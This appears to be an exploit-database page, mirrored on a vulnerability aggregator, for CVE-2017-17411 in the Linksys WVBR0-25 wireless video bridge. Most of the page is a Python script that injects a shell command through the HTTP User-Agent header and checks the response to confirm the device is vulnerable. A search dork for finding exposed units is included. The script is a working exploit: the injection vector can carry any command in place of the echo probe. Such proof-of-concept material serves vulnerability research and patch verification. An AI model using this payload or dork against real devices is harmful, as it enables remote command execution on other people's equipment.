Lucene search
+L

Linksys WVBR0 - 'User-Agent' Remote Command Injection

🗓️ 14 Dec 2017 00:00:00Reported by nixawkType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 48 Views

Linksys WVBR0 'User-Agent' Remote Command Injection chec

Related
Code
ReporterTitlePublishedViews
Family
zdt
zdt
Linksys WVBR0 - User-Agent Remote Command Injection Exploit
19 Dec 201700:00
zdt
zdt
zdt
Linksys WVBR0-25 User-Agent Command Execution Exploit
4 Jan 201800:00
zdt
attackerkb
ATTACKERKB
CVE-2017-17411
21 Dec 201714:29
attackerkb
circl
Circl
CVE-2017-17411
29 May 201815:50
circl
cnvd
CNVD
Linksys WVBR0 Wireless Bridge Remote Command Execution Vulnerability
15 Dec 201700:00
cnvd
checkpoint_advisories
Check Point Advisories
Linksys WVBR0-25 Command Injection (CVE-2017-17411)
28 May 201800:00
checkpoint_advisories
cve
CVE
CVE-2017-17411
21 Dec 201714:00
cve
cvelist
Cvelist
CVE-2017-17411
21 Dec 201714:00
cvelist
exploitdb
Exploit DB
Linksys WVBR0-25 - User-Agent Command Execution (Metasploit)
4 Jan 201800:00
exploitdb
exploitpack
exploitpack
Linksys WVBR0 - User-Agent Remote Command Injection
14 Dec 201700:00
exploitpack
Rows per page
#!/usr/bin/python
# -*- coding: utf-8 -*-

# Author: Nixawk
# CVE-2017-17411
# Linksys WVBR0 25 Command Injection

"""
$ python2.7 exploit-CVE-2017-17411.py
[*] Usage: python exploit-CVE-2017-17411.py <URL>

$ python2.7 exploit-CVE-2017-17411.py http://example.com/
[+] Target is exploitable by CVE-2017-17411
"""

import requests


def check(url):
    payload = '"; echo "admin'
    md5hash = "456b7016a916a4b178dd72b947c152b7"  # echo "admin" | md5sum

    resp = send_http_request(url, payload)

    if not resp:
        return False

    lines = resp.text.splitlines()
    sys_cmds = filter(lambda x: "config.webui sys_cmd" in x, lines)

    if not any([payload in sys_cmd for sys_cmd in sys_cmds]):
        return False

    if not any([md5hash in sys_cmd for sys_cmd in sys_cmds]):
        return False

    print("[+] Target is exploitable by CVE-2017-17411 ")
    return True


def send_http_request(url, payload):
    headers = {
        'User-Agent': payload
    }

    response = None
    try:
        response = requests.get(url, headers=headers)
    except Exception as err:
        log.exception(err)

    return response


if __name__ == '__main__':
    import sys

    if len(sys.argv) != 2:
        print("[*] Usage: python %s <URL>" % sys.argv[0])
        sys.exit(0)

    check(sys.argv[1])


# google dork: "Vendor:LINKSYS ModelName:WVBR0-25-US"

## References

# https://www.thezdi.com/blog/2017/12/13/remote-root-in-directvs-wireless-video-bridge-a-tale-of-rage-and-despair
# https://thehackernews.com/2017/12/directv-wvb-hack.html

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation